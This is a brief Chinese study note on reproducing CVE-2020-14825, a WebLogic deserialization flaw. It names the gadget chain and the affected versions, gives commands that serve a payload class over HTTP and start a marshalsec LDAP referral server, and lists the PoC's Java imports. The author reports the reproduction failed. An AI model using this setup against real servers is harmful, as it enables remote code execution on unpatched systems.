Weblogic反序列化 CVE-2020-14825

一个server类似tomcat

利用链：MethodAttributeAccessor + JdbcRowSetImpl 也是通过set方法 连接LDAP 执行EXP

影响版本：

WebLogic Server 12.2.1.3.0

WebLogic Server 12.2.1.4.0

WebLogic Server 14.1.1.0.0

Poc的classes处 打开python server

python -m SimpleHTTPServer 1234

打开ldap服务 连接python server

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer <http://0.0.0.0:1234/#EXP>

此时 weblogic 已经启动

<http://192.168.1.6:7001/console>

CVE-14825需要找到下面几个jar包

import com.tangosol.util.comparator.ExtractorComparator;

import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;

import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;

import ysoserial.payloads.util.Reflections;

ysoserial是一款Java反序列化漏洞利用神器，项目地址：<https://github.com/frohoff/ysoserial>

上面几个jar包不好找 暂时没复现成